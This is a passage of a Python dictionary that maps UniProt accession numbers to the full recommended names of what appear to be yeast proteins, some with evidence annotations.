'P40041' : ntuniprot(RecName_Full='Transcription factor VHR2'),
'P40042' : ntuniprot(RecName_Full='Regulator of rDNA transcription protein 13'),
'P40043' : ntuniprot(RecName_Full='Respiratory growth induced protein 1'),
'P40045' : ntuniprot(RecName_Full='Topoisomerase I damage affected protein 2'),
'P40046' : ntuniprot(RecName_Full='Vacuolar transporter chaperone 1'),
'P40047' : ntuniprot(RecName_Full='Aldehyde dehydrogenase 5, mitochondrial'),
'P40048' : ntuniprot(RecName_Full='Tyrosine-protein phosphatase 3'),
'P40049' : ntuniprot(RecName_Full='Putative uncharacterized protein YER076C'),
'P40050' : ntuniprot(RecName_Full='MIOREX complex component 1 {ECO:0000305|PubMed:25683707}'),
'P40051' : ntuniprot(RecName_Full='Intermediate cleaving peptidase 55'),
'P40052' : ntuniprot(RecName_Full='Uncharacterized protein YER079W'),
'P40053' : ntuniprot(RecName_Full='Altered inheritance of mitochondria protein 9, mitochondrial'),
'P40054' : ntuniprot(RecName_Full='D-3-phosphoglycerate dehydrogenase 1'),
'P40055' : ntuniprot(RecName_Full='U3 small nucleolar RNA-associated protein 7'),
'P40056' : ntuniprot(RecName_Full='Golgi to ER traffic protein 2 {ECO:0000255|HAMAP-Rule:MF_03114}'),
'P40057' : ntuniprot(RecName_Full='Uncharacterized protein YER084W'),
'P40058' : ntuniprot(RecName_Full='Uncharacterized protein YER085C'),
'P40059' : ntuniprot(RecName_Full='Transcriptional regulatory protein DOT6'),
'P40060' : ntuniprot(RecName_Full='Ino eighty subunit 5'),
'P40061' : ntuniprot(RecName_Full='Target of rapamycin complex 2 subunit TSC11'),
'P40063' : ntuniprot(RecName_Full='Regulator of Ty1 transposition protein 105'),
'P40064' : ntuniprot(RecName_Full='Nucleoporin NUP157'),
'P40065' : ntuniprot(RecName_Full='Monopolin complex subunit MAM1'),
'P40066' : ntuniprot(RecName_Full='Nucleoporin GLE2'),
'P40069' : ntuniprot(RecName_Full='Importin subunit beta-4 {ECO:0000305}'),
'P40070' : ntuniprot(RecName_Full='U6 snRNA-associated Sm-like protein LSm4'),
'P40071' : ntuniprot(RecName_Full='Transmembrane 9 superfamily member 3'),
'P40072' : ntuniprot(RecName_Full='E3 ubiquitin-protein ligase complex SLX5-SLX8 subunit SLX8'),
'P40073' : ntuniprot(RecName_Full='High osmolarity signaling protein SHO1'),
'P40074' : ntuniprot(RecName_Full='Vacuolar amino acid transporter 6'),
'P40075' : ntuniprot(RecName_Full='Vesicle-associated membrane protein-associated protein SCS2'),
'P40076' : ntuniprot(RecName_Full='Uncharacterized protein YER121W'),
'P40077' : ntuniprot(RecName_Full='Protein DSE1'),
'P40078' : ntuniprot(RecName_Full='Ribosome biogenesis protein NSA2'),
'P40079' : ntuniprot(RecName_Full='U3 small nucleolar ribonucleoprotein protein LCP5'),
'P40080' : ntuniprot(RecName_Full='VPS4-associated protein 1'),
'P40081' : ntuniprot(RecName_Full='Putative magnesium-dependent phosphatase YER134C'),
'P40083' : ntuniprot(RecName_Full='Uncharacterized protein YEL137C'),
'P40084' : ntuniprot(RecName_Full='RNA polymerase II subunit B1 CTD phosphatase RTR1'),
'P40085' : ntuniprot(RecName_Full='Endoplasmic reticulum membrane protein 65 {ECO:0000305|PubMed:23275891}'),
'P40086' : ntuniprot(RecName_Full='Cytochrome c oxidase assembly protein COX15'),
'P40087' : ntuniprot(RecName_Full='DNA damage-inducible protein 1'),
'P40088' : ntuniprot(RecName_Full='Plasma membrane iron permease'),
'P40089' : ntuniprot(RecName_Full='U6 snRNA-associated Sm-like protein LSm5'),
'P40090' : ntuniprot(RecName_Full='MAU2 chromatid cohesion factor homolog'),
'P40091' : ntuniprot(RecName_Full='Protein PEA2'),
'P40092' : ntuniprot(RecName_Full='Uncharacterized cell wall protein SPI1'),
'P40093' : ntuniprot(RecName_Full='UPF0160 protein YER156C'),
'P40094' : ntuniprot(RecName_Full='Conserved oligomeric Golgi complex subunit 3'),
'P40095' : ntuniprot(RecName_Full='Uncharacterized protein YER158C'),
'P40096' : ntuniprot(RecName_Full='Negative cofactor 2 complex subunit alpha'),
'P40098' : ntuniprot(RecName_Full='Uncharacterized mitochondrial membrane protein FMP10'),
'P40099' : ntuniprot(RecName_Full='5-formyltetrahydrofolate cyclo-ligase'),
'P40100' : ntuniprot(RecName_Full='Protoporphyrin uptake protein 1'),
'P40101' : ntuniprot(RecName_Full='Uncharacterized protein YER186C'),
'P40102' : ntuniprot(RecName_Full='Uncharacterized protein YER187W'),
'P40104' : ntuniprot(RecName_Full='Uncharacterized protein YER189W'),
'P40105' : ntuniprot(RecName_Full="Y' element ATP-dependent helicase protein 1 copy 2"),
'P40106' : ntuniprot(RecName_Full='Glycerol-1-phosphate phosphohydrolase 2 {ECO:0000305}'),
'P40107' : ntuniprot(RecName_Full='GDP-mannose transporter 1'),
'P40150' : ntuniprot(RecName_Full='Ribosome-associated molecular chaperone SSB2 {ECO:0000303|PubMed:11739779}'),
'P40151' : ntuniprot(RecName_Full='DNA-dependent ATPase MGS1'),
'P40152' : ntuniprot(RecName_Full='Putative metallophosphoesterase YNL217W'),
'P40154' : ntuniprot(RecName_Full='Ino eighty subunit 2'),
'P40155' : ntuniprot(RecName_Full='Peroxisomal membrane protein PEX17'),
'P40156' : ntuniprot(RecName_Full='Required for respiratory growth protein 9, mitochondrial'),
'P40157' : ntuniprot(RecName_Full='Vacuolar import and degradation protein 27'),
'P40159' : ntuniprot(RecName_Full='Uncharacterized protein YNL208W'),
'P40160' : ntuniprot(RecName_Full='Serine/threonine-protein kinase RIO2'),
'P40161' : ntuniprot(RecName_Full='Histone chaperone RTT106'),
'P40164' : ntuniprot(RecName_Full='Serine/threonine-protein phosphatase 4 regulatory subunit 3'),
'P40165' : ntuniprot(RecName_Full='NAD(P)H-hydrate epimerase {ECO:0000255|HAMAP-Rule:MF_03159}'),
'P40167' : ntuniprot(RecName_Full='Sporulation-specific with a leucine zipper motif protein 1'),
'P40168' : ntuniprot(RecName_Full='Uncharacterized protein YNL195C'),
'P40169' : ntuniprot(RecName_Full='Uncharacterized plasma membrane protein YNL194C'),
'P40185' : ntuniprot(RecName_Full='Protein MMF1, mitochondrial'),
'P40186' : ntuniprot(RecName_Full='PHO85 cyclin-7'),
'P40187' : ntuniprot(RecName_Full='GSY2-interacting protein PIG2'),
'P40188' : ntuniprot(RecName_Full='Respiratory growth induced protein 2'),
'P40202' : ntuniprot(RecName_Full='Superoxide dismutase 1 copper chaperone'),
'P40204' : ntuniprot(RecName_Full='Small nuclear ribonucleoprotein G'),
'P40206' : ntuniprot(RecName_Full='Protein JLP2'),
'P40207' : ntuniprot(RecName_Full='Uncharacterized protein YMR134W'),
'P40208' : ntuniprot(RecName_Full='Glucose-induced degradation protein 8'),
'P40209' : ntuniprot(RecName_Full='Protein GAT2'),
'P40210' : ntuniprot(RecName_Full='Protein SIP5'),
'P40212' : ntuniprot(RecName_Full='60S ribosomal protein L13-B {ECO:0000303|PubMed:9559554}'),
'P40214' : ntuniprot(RecName_Full='Uncharacterized protein YMR144W'),
'P40215' : ntuniprot(RecName_Full='External NADH-ubiquinone oxidoreductase 1, mitochondrial'),
'P40217' : ntuniprot(RecName_Full='Eukaryotic translation initiation factor 3 subunit I {ECO:0000255|HAMAP-Rule:MF_03008}'),
'P40218' : ntuniprot(RecName_Full='Uncharacterized protein YMR147W'),
'P40219' : ntuniprot(RecName_Full='Outer spore wall protein 5'),
'P40260' : ntuniprot(RecName_Full='Ammonium transporter MEP1'),
'P40302' : ntuniprot(RecName_Full='Proteasome subunit alpha type-6'),
'P40303' : ntuniprot(RecName_Full='Proteasome subunit alpha type-4'),
'P40308' : ntuniprot(RecName_Full='Lipase 3'),
'P40309' : ntuniprot(RecName_Full='K(+)/H(+) antiporter 1'),
'P40310' : ntuniprot(RecName_Full='Outward-rectifier potassium channel TOK1'),
'P40312' : ntuniprot(RecName_Full='Cytochrome b5'),
'P40314' : ntuniprot(RecName_Full='Nascent polypeptide-associated complex subunit beta-2'),
'P40316' : ntuniprot(RecName_Full='Securin'),
'P40317' : ntuniprot(RecName_Full='Protein SOK1'),
'P40318' : ntuniprot(RecName_Full='ERAD-associated E3 ubiquitin-protein ligase DOA10'),
'P40319' : ntuniprot(RecName_Full='Elongation of fatty acids protein 3 {ECO:0000303|PubMed:9211877}'),
'P40325' : ntuniprot(RecName_Full='Proline-rich protein HUA1'),
'P40327' : ntuniprot(RecName_Full='26S proteasome regulatory subunit 4 homolog'),
'P40328' : ntuniprot(RecName_Full='Probable 26S proteasome subunit YTA6'),
'P40335' : ntuniprot(RecName_Full='Carboxypeptidase Y-deficient protein 8'),
'P40339' : ntuniprot(RecName_Full='Replication factor C subunit 4'),
'P40340' : ntuniprot(RecName_Full='Tat-binding homolog 7'),
'P40341' : ntuniprot(RecName_Full='Mitochondrial respiratory chain complexes assembly protein YTA12'),
'P40342' : ntuniprot(RecName_Full='Nucleolar protein SWM2'),
'P40343' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 27'),
'P40344' : ntuniprot(RecName_Full='Autophagy-related protein 3'),
'P40345' : ntuniprot(RecName_Full='Phospholipid:diacylglycerol acyltransferase'),
'P40347' : ntuniprot(RecName_Full='Low molecular weight phosphotyrosine protein phosphatase'),
'P40348' : ntuniprot(RecName_Full='Replication factor C subunit 2'),
'P40350' : ntuniprot(RecName_Full='Dolichyl-phosphate beta-glucosyltransferase'),
'P40351' : ntuniprot(RecName_Full='Dolichyl pyrophosphate Glc1Man9GlcNAc2 alpha-1,3-glucosyltransferase'),
'P40352' : ntuniprot(RecName_Full='DNA repair and recombination protein RAD26'),
'P40353' : ntuniprot(RecName_Full='Alcohol O-acetyltransferase 1 {ECO:0000303|PubMed:8085822}'),
'P40354' : ntuniprot(RecName_Full='Protein N-terminal amidase'),
'P40355' : ntuniprot(RecName_Full='Uncharacterized protein YJR061W'),
'P40356' : ntuniprot(RecName_Full='Mediator of RNA polymerase II transcription subunit 3'),
'P40357' : ntuniprot(RecName_Full='Protein transport protein SEC9'),
'P40358' : ntuniprot(RecName_Full='DnaJ-like chaperone JEM1'),
'P40359' : ntuniprot(RecName_Full='DNA replication complex GINS protein PSF2'),
'P40360' : ntuniprot(RecName_Full='Amino-acid acetyltransferase, mitochondrial'),
'P40361' : ntuniprot(RecName_Full='Inactive deaminase YJL070C'),
'P40362' : ntuniprot(RecName_Full='U3 small nucleolar RNA-associated protein 18'),
'P40363' : ntuniprot(RecName_Full='S-formylglutathione hydrolase'),
'P40364' : ntuniprot(RecName_Full='Mitochondrial peculiar membrane protein 1'),
'P40366' : ntuniprot(RecName_Full='Protein DLS1'),
'P40367' : ntuniprot(RecName_Full='GPI ethanolamine phosphate transferase 2'),
'P40368' : ntuniprot(RecName_Full='Nucleoporin NUP82'),
'P40395' : ntuniprot(RecName_Full='Guanine nucleotide exchange factor subunit RIC1 {ECO:0000305}'),
'P40413' : ntuniprot(RecName_Full='T-complex protein 1 subunit epsilon'),
'P40414' : ntuniprot(RecName_Full='Tropomyosin-2'),
'P40416' : ntuniprot(RecName_Full='Iron-sulfur clusters transporter ATM1, mitochondrial'),
'P40422' : ntuniprot(RecName_Full='DNA-directed RNA polymerases I, II, and III subunit RPABC4'),
'P40433' : ntuniprot(RecName_Full='6-phosphofructo-2-kinase 1'),
'P40434' : ntuniprot(RecName_Full="Y' element ATP-dependent helicase YIL177C"),
'P40438' : ntuniprot(RecName_Full='VPS10 homolog 1'),
'P40442' : ntuniprot(RecName_Full='Putative uncharacterized protein YIL169C'),
'P40445' : ntuniprot(RecName_Full='Uncharacterized transporter YIL166C'),
'P40446' : ntuniprot(RecName_Full='Putative nitrilase-like protein YIL165C'),
'P40447' : ntuniprot(RecName_Full='Putative nitrilase-like protein NIT1'),
'P40448' : ntuniprot(RecName_Full='Uncharacterized protein YIL163C'),
'P40449' : ntuniprot(RecName_Full='Uncharacterized protein YIL161W'),
'P40450' : ntuniprot(RecName_Full='BNI1-related protein 1'),
'P40451' : ntuniprot(RecName_Full='Altered inheritance of mitochondria protein 20'),
'P40452' : ntuniprot(RecName_Full='Cytochrome c oxidase assembly factor 1'),
'P40453' : ntuniprot(RecName_Full='Ubiquitin carboxyl-terminal hydrolase 7'),
'P40454' : ntuniprot(RecName_Full='Serine/threonine-protein phosphatase 2A activator 1'),
'P40455' : ntuniprot(RecName_Full='Uncharacterized protein YIL152W'),
'P40456' : ntuniprot(RecName_Full='EST/SMG-like protein 1 {ECO:0000303|PubMed:23893744}'),
'P40457' : ntuniprot(RecName_Full='Protein MLP2'),
'P40458' : ntuniprot(RecName_Full='Autophagy-related protein 32'),
'P40459' : ntuniprot(RecName_Full='Pantoate--beta-alanine ligase'),
'P40460' : ntuniprot(RecName_Full='Kinetochore protein NDC80 {ECO:0000303|PubMed:11179222}'),
'P40462' : ntuniprot(RecName_Full='Protein TMA108'),
'P40463' : ntuniprot(RecName_Full='Protein VHS2'),
'P40464' : ntuniprot(RecName_Full='Mitochondrial FAD carrier protein FLX1'),
'P40465' : ntuniprot(RecName_Full='Chromosome segregation in meiosis protein 2'),
'P40466' : ntuniprot(RecName_Full='Fork head protein homolog 1'),
'P40467' : ntuniprot(RecName_Full='Activator of stress genes 1'),
'P40468' : ntuniprot(RecName_Full='Cell morphogenesis protein PAG1'),
'P40469' : ntuniprot(RecName_Full='DNA repair/transcription protein MET18/MMS19'),
'P40470' : ntuniprot(RecName_Full='Regulator of rDNA transcription protein 14'),
'P40471' : ntuniprot(RecName_Full='NADPH-dependent 1-acyldihydroxyacetone phosphate reductase'),
'P40472' : ntuniprot(RecName_Full='Probable secreted beta-glucosidase SIM1'),
'P40473' : ntuniprot(RecName_Full='Transcriptional activator POG1'),
'P40474' : ntuniprot(RecName_Full='Quinidine resistance protein 2'),
'P40475' : ntuniprot(RecName_Full='Quinidine resistance protein 1'),
'P40476' : ntuniprot(RecName_Full='Pheromone-regulated membrane protein 5'),
'P40477' : ntuniprot(RecName_Full='Nucleoporin NUP159'),
'P40478' : ntuniprot(RecName_Full='Mitochondrial outer membrane protein porin 2'),
'P40479' : ntuniprot(RecName_Full='Dual-specificity protein phosphatase SDP1'),
'P40480' : ntuniprot(RecName_Full='Protein HOS4'),
'P40481' : ntuniprot(RecName_Full='Histidine protein methyltransferase 1'),
'P40482' : ntuniprot(RecName_Full='Protein transport protein SEC24'),
'P40483' : ntuniprot(RecName_Full='Putative zinc metalloproteinase YIL108W'),
'P40484' : ntuniprot(RecName_Full='DBF2 kinase activator protein MOB1'),
'P40485' : ntuniprot(RecName_Full='Phosphatidylinositol 4,5-bisphosphate-binding protein SLM1'),
'P40486' : ntuniprot(RecName_Full='Protein SHQ1'),
'P40487' : ntuniprot(RecName_Full='2-(3-amino-3-carboxypropyl)histidine synthase subunit 1 {ECO:0000305}'),
'P40488' : ntuniprot(RecName_Full='Uncharacterized protein YIL102C'),
'P40489' : ntuniprot(RecName_Full='Transcriptional repressor XBP1'),
'P40491' : ntuniprot(RecName_Full='ATP synthase assembly factor FMC1, mitochondrial'),
'P40492' : ntuniprot(RecName_Full='Protein FYV10'),
'P40493' : ntuniprot(RecName_Full='25S rRNA (uridine(2634)-N(3))-methyltransferase'),
'P40494' : ntuniprot(RecName_Full='Actin-regulating kinase PRK1'),
'P40495' : ntuniprot(RecName_Full='Homoisocitrate dehydrogenase, mitochondrial'),
'P40496' : ntuniprot(RecName_Full='37S ribosomal protein S25, mitochondrial'),
'P40497' : ntuniprot(RecName_Full='Uncharacterized protein YIL092W'),
'P40498' : ntuniprot(RecName_Full='U3 small nucleolar RNA-associated protein 25'),
'P40499' : ntuniprot(RecName_Full='Protein ICE2'),
'P40500' : ntuniprot(RecName_Full='Uncharacterized membrane protein YIL089W'),
'P40501' : ntuniprot(RecName_Full='Vacuolar amino acid transporter 7'),
'P40502' : ntuniprot(RecName_Full='Altered inheritance of mitochondria protein 19, mitochondrial'),
'P40504' : ntuniprot(RecName_Full='Probable mannosyltransferase KTR7'),
'P40505' : ntuniprot(RecName_Full='Transcriptional regulatory protein SDS3'),
'P40506' : ntuniprot(RecName_Full='Phosphopantothenate--cysteine ligase CAB2'),
'P40507' : ntuniprot(RecName_Full='Protein AIR1'),
'P40508' : ntuniprot(RecName_Full='PUP1 protein homolog'),
'P40509' : ntuniprot(RecName_Full='Coatomer subunit epsilon'),
'P40510' : ntuniprot(RecName_Full='D-3-phosphoglycerate dehydrogenase 2'),
'P40511' : ntuniprot(RecName_Full='Sporulation-specific protein 22'),
'P40512' : ntuniprot(RecName_Full='Cop9 signalosome complex subunit 11'),
'P40513' : ntuniprot(RecName_Full='Mitochondrial acidic protein MAM33'),
'P40514' : ntuniprot(RecName_Full='Uncharacterized protein YIL067C'),
'P40515' : ntuniprot(RecName_Full='Mitochondrial fission 1 protein'),
'P40516' : ntuniprot(RecName_Full='Protein-lysine N-methyltransferase EFM4 {ECO:0000255|HAMAP-Rule:MF_03188, ECO:0000305|PubMed:25231983}'),
'P40517' : ntuniprot(RecName_Full='Ran-specific GTPase-activating protein 2'),
'P40518' : ntuniprot(RecName_Full='Actin-related protein 2/3 complex subunit 5'),
'P40519' : ntuniprot(RecName_Full='Uncharacterized protein YIL060W'),
'P40522' : ntuniprot(RecName_Full='Transcription factor VHR1'),
'P40523' : ntuniprot(RecName_Full='Uncharacterized protein YIL055C'),
'P40524' : ntuniprot(RecName_Full='Uncharacterized membrane protein YIL054W'),
'P40525' : ntuniprot(RecName_Full='60S ribosomal protein L34-B {ECO:0000303|PubMed:9559554}'),
'P40526' : ntuniprot(RecName_Full='Polyprenol reductase'),
'P40527' : ntuniprot(RecName_Full='Probable phospholipid-transporting ATPase NEO1'),
'P40528' : ntuniprot(RecName_Full='Protein SYG1'),
'P40529' : ntuniprot(RecName_Full='ADP-ribosylation factor GTPase-activating protein effector protein 2'),
'P40530' : ntuniprot(RecName_Full='[Pyruvate dehydrogenase (acetyl-transferring)] kinase 1, mitochondrial'),
'P40531' : ntuniprot(RecName_Full='Protein GVP36'),
'P40532' : ntuniprot(RecName_Full='Nuclear membrane organization protein APQ12'),
'P40533' : ntuniprot(RecName_Full='Protein TED1'),
'P40534' : ntuniprot(RecName_Full='Pheromone-regulated membrane protein 2'),
'P40535' : ntuniprot(RecName_Full='ATF/CREB activator 2'),
'P40537' : ntuniprot(RecName_Full='Ubiquitin-like-specific protease 2'),
'P40538' : ntuniprot(RecName_Full='Uncharacterized protein YIL029C'),
'P40540' : ntuniprot(RecName_Full='ER membrane protein complex subunit 5'),
'P40541' : ntuniprot(RecName_Full='Cohesin subunit SCC3'),
'P40543' : ntuniprot(RecName_Full='Uncharacterized protein YIL024C'),
'P40544' : ntuniprot(RecName_Full='Zinc transporter YKE4'),
'P40545' : ntuniprot(RecName_Full='1-(5-phosphoribosyl)-5-[(5-phosphoribosylamino)methylideneamino] imidazole-4-carboxamide isomerase'),
'P40546' : ntuniprot(RecName_Full='Protein FAF1'),
'P40547' : ntuniprot(RecName_Full='Vacuolar import and degradation protein 28'),
'P40548' : ntuniprot(RecName_Full='HSP70 co-chaperone SNL1'),
'P40549' : ntuniprot(RecName_Full='Alpha-1,3-mannosyltransferase MNT3'),
'P40550' : ntuniprot(RecName_Full='ATP-dependent permease PDR11'),
'P40552' : ntuniprot(RecName_Full='Cell wall protein TIR3'),
'P40553' : ntuniprot(RecName_Full='Peroxiredoxin DOT5 {ECO:0000305}'),
'P40554' : ntuniprot(RecName_Full='Ubiquitin-related modifier 1 {ECO:0000255|HAMAP-Rule:MF_03048}'),
'P40555' : ntuniprot(RecName_Full='Probable 26S proteasome regulatory subunit p27'),
'P40556' : ntuniprot(RecName_Full='Mitochondrial nicotinamide adenine dinucleotide transporter 1'),
'P40557' : ntuniprot(RecName_Full='ER-retained PMA1-suppressing protein 1'),
'P40558' : ntuniprot(RecName_Full='Cytosolic Fe-S cluster assembly factor CFD1 {ECO:0000255|HAMAP-Rule:MF_03039}'),
'P40559' : ntuniprot(RecName_Full='Phosphatidylinositol 4,5-bisphosphate 5-phosphatase INP51'),
'P40560' : ntuniprot(RecName_Full='Ankyrin repeat-containing protein YIL001W'),
'P40561' : ntuniprot(RecName_Full='RNA-binding protein SGN1'),
'P40562' : ntuniprot(RecName_Full='ATP-dependent DNA helicase MPH1 {ECO:0000305}'),
'P40563' : ntuniprot(RecName_Full='Altered inheritance of mitochondria protein 21'),
'P40564' : ntuniprot(RecName_Full='DnaJ-like protein 1'),
'P40565' : ntuniprot(RecName_Full='U2 snRNP component IST3'),
'P40566' : ntuniprot(RecName_Full='Uncharacterized glycosyl hydrolase YIR007W'),
'P40567' : ntuniprot(RecName_Full="U2 small nuclear ribonucleoprotein B''"),
'P40568' : ntuniprot(RecName_Full='Kinetochore-associated protein DSN1'),
'P40569' : ntuniprot(RecName_Full='Protein GAT4'),
'P40570' : ntuniprot(RecName_Full='Putative uncharacterized protein YIR014W'),
'P40571' : ntuniprot(RecName_Full='Ribonuclease P protein subunit RPR2'),
'P40572' : ntuniprot(RecName_Full='Uncharacterized protein YIR016W'),
'P40573' : ntuniprot(RecName_Full='Transcriptional activator of sulfur metabolism MET28'),
'P40574' : ntuniprot(RecName_Full='AP-1-like transcription factor YAP5'),
'P40575' : ntuniprot(RecName_Full='Uncharacterized protein YIR020C'),
'P40576' : ntuniprot(RecName_Full='Inner membrane assembly complex subunit 22 {ECO:0000305|PubMed:24942160}'),
'P40577' : ntuniprot(RecName_Full='Anaphase-promoting complex subunit MND2'),
'P40578' : ntuniprot(RecName_Full='Protein MGA2'),
'P40579' : ntuniprot(RecName_Full='Uncharacterized oxidoreductase YIR035C'),
'P40580' : ntuniprot(RecName_Full='Benzil reductase ((S)-benzoin forming) IRC24'),
'P40581' : ntuniprot(RecName_Full='Glutathione peroxidase-like peroxiredoxin HYR1 {ECO:0000305}'),
'P40582' : ntuniprot(RecName_Full='Glutathione S-transferase 1'),
'P40583' : ntuniprot(RecName_Full='Aspartic proteinase yapsin-6'),
'P40585' : ntuniprot(RecName_Full='Seripauperin-15'),
'P40586' : ntuniprot(RecName_Full='Uncharacterized protein YIR042C'),
'P40693' : ntuniprot(RecName_Full='Ribosome biogenesis protein RLP7'),
'P40825' : ntuniprot(RecName_Full='Alanine--tRNA ligase, mitochondrial {ECO:0000255|HAMAP-Rule:MF_03133}'),
'P40850' : ntuniprot(RecName_Full='Protein MKT1'),
'P40851' : ntuniprot(RecName_Full='Putative protease AXL1'),
'P40856' : ntuniprot(RecName_Full='SIT4-associating protein SAP185'),
'P40857' : ntuniprot(RecName_Full='Very-long-chain (3R)-3-hydroxyacyl-CoA dehydratase PHS1 {ECO:0000305}'),
'P40858' : ntuniprot(RecName_Full='54S ribosomal protein L49, mitochondrial'),
'P40884' : ntuniprot(RecName_Full='Oligo-1,6-glucosidase IMA5'),
'P40885' : ntuniprot(RecName_Full='Hexose transporter HXT9'),
'P40886' : ntuniprot(RecName_Full='Hexose transporter HXT8'),
'P40889' : ntuniprot(RecName_Full="Y' element ATP-dependent helicase YJL225C"),
'P40890' : ntuniprot(RecName_Full='VPS10 homolog 2'),
'P40892' : ntuniprot(RecName_Full='Putative acetyltransferase YJL218W'),
'P40893' : ntuniprot(RecName_Full='Regulation of enolase protein 1'),
'P40896' : ntuniprot(RecName_Full='Uncharacterized protein YJL213W'),
'P40897' : ntuniprot(RecName_Full='Oligopeptide transporter 1'),
'P40917' : ntuniprot(RecName_Full='AP-1-like transcription factor YAP4'),
'P40955' : ntuniprot(RecName_Full='Chitin biosynthesis protein CHS6'),
'P40956' : ntuniprot(RecName_Full='Protein GTS1'),
'P40957' : ntuniprot(RecName_Full='Spindle assembly checkpoint component MAD1'),
'P40958' : ntuniprot(RecName_Full='Mitotic spindle checkpoint component MAD2'),
'P40959' : ntuniprot(RecName_Full='Sorting nexin MVP1'),
'P40960' : ntuniprot(RecName_Full='WD repeat-containing protein PAC11'),
'P40961' : ntuniprot(RecName_Full='Prohibitin-1'),
'P40962' : ntuniprot(RecName_Full='Zinc finger protein RTS2'),
'P40963' : ntuniprot(RecName_Full='Histone acetyltransferase SAS2'),
'P40965' : ntuniprot(RecName_Full='MutS protein homolog 4'),
'P40968' : ntuniprot(RecName_Full='Pre-mRNA-processing factor 17'),
'P40969' : ntuniprot(RecName_Full='Centromere DNA-binding protein complex CBF3 subunit B'),
'P40970' : ntuniprot(RecName_Full='Serine palmitoyltransferase 2'),
'P40971' : ntuniprot(RecName_Full='Lysine biosynthesis regulatory protein LYS14'),
'P40975' : ntuniprot(RecName_Full='Plasma membrane ATPase proteolipid 2'),
'P40985' : ntuniprot(RecName_Full='Probable E3 ubiquitin-protein ligase HUL4'),
'P40986' : ntuniprot(RecName_Full='Cell division control protein 1'),
'P40987' : ntuniprot(RecName_Full='Chromosome instability protein 1'),
'P40988' : ntuniprot(RecName_Full='Low-affinity Fe(2+) transport protein'),
'P40989' : ntuniprot(RecName_Full='1,3-beta-glucan synthase component GSC2'),
'P40990' : ntuniprot(RecName_Full='Protein MSS2, mitochondrial'),
'P40991' : ntuniprot(RecName_Full='25S rRNA (cytosine(2870)-C(5))-methyltransferase'),
'P40992' : ntuniprot(RecName_Full='RNA polymerase I-specific transcription initiation factor RRN7'),
'P40993' : ntuniprot(RecName_Full='Ribonuclease MRP protein subunit SNM1'),
'P40994' : ntuniprot(RecName_Full='ADP-ribosylation factor 3'),
'P41056' : ntuniprot(RecName_Full='60S ribosomal protein L33-B {ECO:0000303|PubMed:9559554}'),
'P41057' : ntuniprot(RecName_Full='40S ribosomal protein S29-A {ECO:0000303|PubMed:9559554}'),
'P41058' : ntuniprot(RecName_Full='40S ribosomal protein S29-B {ECO:0000303|PubMed:9559554}'),
'P41277' : ntuniprot(RecName_Full='Glycerol-1-phosphate phosphohydrolase 1 {ECO:0000305}'),
'P41318' : ntuniprot(RecName_Full='Target of rapamycin complex subunit LST8'),
'P41338' : ntuniprot(RecName_Full='Acetyl-CoA acetyltransferase'),
'P41543' : ntuniprot(RecName_Full='Dolichyl-diphosphooligosaccharide--protein glycosyltransferase subunit 1'),
'P41544' : ntuniprot(RecName_Full='Protein SYS1'),
'P41546' : ntuniprot(RecName_Full='Transcriptional activator HAC1'),
'P41695' : ntuniprot(RecName_Full='Checkpoint serine/threonine-protein kinase BUB1'),
'P41696' : ntuniprot(RecName_Full='Asparagine-rich zinc finger protein AZF1'),
'P41697' : ntuniprot(RecName_Full='Bud site selection protein 6'),
'P41698' : ntuniprot(RecName_Full='Bud site selection protein 8'),
'P41733' : ntuniprot(RecName_Full='GPI transamidase component GAB1'),
'P41734' : ntuniprot(RecName_Full='Isoamyl acetate-hydrolyzing esterase {ECO:0000303|Ref.2}'),
'P41735' : ntuniprot(RecName_Full='5-demethoxyubiquinone hydroxylase, mitochondrial {ECO:0000255|HAMAP-Rule:MF_03194, ECO:0000305|PubMed:16624818}'),
'P41800' : ntuniprot(RecName_Full='Maintenance of mitochondrial morphology protein 1 {ECO:0000255|HAMAP-Rule:MF_03103}'),
'P41805' : ntuniprot(RecName_Full='60S ribosomal protein L10 {ECO:0000303|PubMed:9559554}'),
'P41806' : ntuniprot(RecName_Full='Vacuolar ATPase assembly integral membrane protein VMA21 {ECO:0000255|HAMAP-Rule:MF_03058}'),
'P41807' : ntuniprot(RecName_Full='V-type proton ATPase subunit H'),
'P41808' : ntuniprot(RecName_Full='Sporulation-specific mitogen-activated protein kinase SMK1'),
'P41809' : ntuniprot(RecName_Full='Signaling mucin HKR1'),
'P41810' : ntuniprot(RecName_Full='Coatomer subunit beta'),
'P41811' : ntuniprot(RecName_Full="Coatomer subunit beta'"),
'P41812' : ntuniprot(RecName_Full='Ribonucleases P/MRP protein subunit POP1'),
'P41813' : ntuniprot(RecName_Full='Fork head protein homolog 2'),
'P41814' : ntuniprot(RecName_Full='tRNA (adenine(58)-N(1))-methyltransferase non-catalytic subunit TRM6'),
'P41815' : ntuniprot(RecName_Full='Valine amino-acid permease'),
'P41816' : ntuniprot(RecName_Full='NADPH dehydrogenase 3'),
'P41817' : ntuniprot(RecName_Full='Homeobox protein CUP9'),
'P41818' : ntuniprot(RecName_Full='Protein GLC8'),
'P41819' : ntuniprot(RecName_Full='Dimethyladenosine transferase'),
'P41821' : ntuniprot(RecName_Full='Stretch-activated cation channel MID1'),
'P41832' : ntuniprot(RecName_Full='Protein BNI1'),
'P41833' : ntuniprot(RecName_Full='N6-adenosine-methyltransferase IME4'),
'P41834' : ntuniprot(RecName_Full='Syntaxin UFE1'),
'P41835' : ntuniprot(RecName_Full='Thiamine biosynthetic bifunctional enzyme'),
'P41895' : ntuniprot(RecName_Full='Transcription initiation factor IIF subunit alpha'),
'P41896' : ntuniprot(RecName_Full='Transcription initiation factor IIF subunit beta'),
'P41901' : ntuniprot(RecName_Full='Sporulation-regulated protein 3'),
'P41903' : ntuniprot(RecName_Full='Peroxisomal acyl-coenzyme A thioester hydrolase 1'),
'P41909' : ntuniprot(RecName_Full='Peroxisomal long-chain fatty acid import protein 2'),
'P41910' : ntuniprot(RecName_Full='Repressor of RNA polymerase III transcription MAF1'),
'P41911' : ntuniprot(RecName_Full='Glycerol-3-phosphate dehydrogenase [NAD(+)] 2, mitochondrial'),
'P41912' : ntuniprot(RecName_Full='Ras modification protein ERF4'),
'P41913' : ntuniprot(RecName_Full='Protein GDS1'),
'P41920' : ntuniprot(RecName_Full='Ran-specific GTPase-activating protein 1'),
'P41921' : ntuniprot(RecName_Full='Glutathione reductase'),
'P41930' : ntuniprot(RecName_Full='Sulfite efflux pump SSU1'),
'P41939' : ntuniprot(RecName_Full='Isocitrate dehydrogenase [NADP] cytoplasmic'),
'P41940' : ntuniprot(RecName_Full='Mannose-1-phosphate guanyltransferase'),
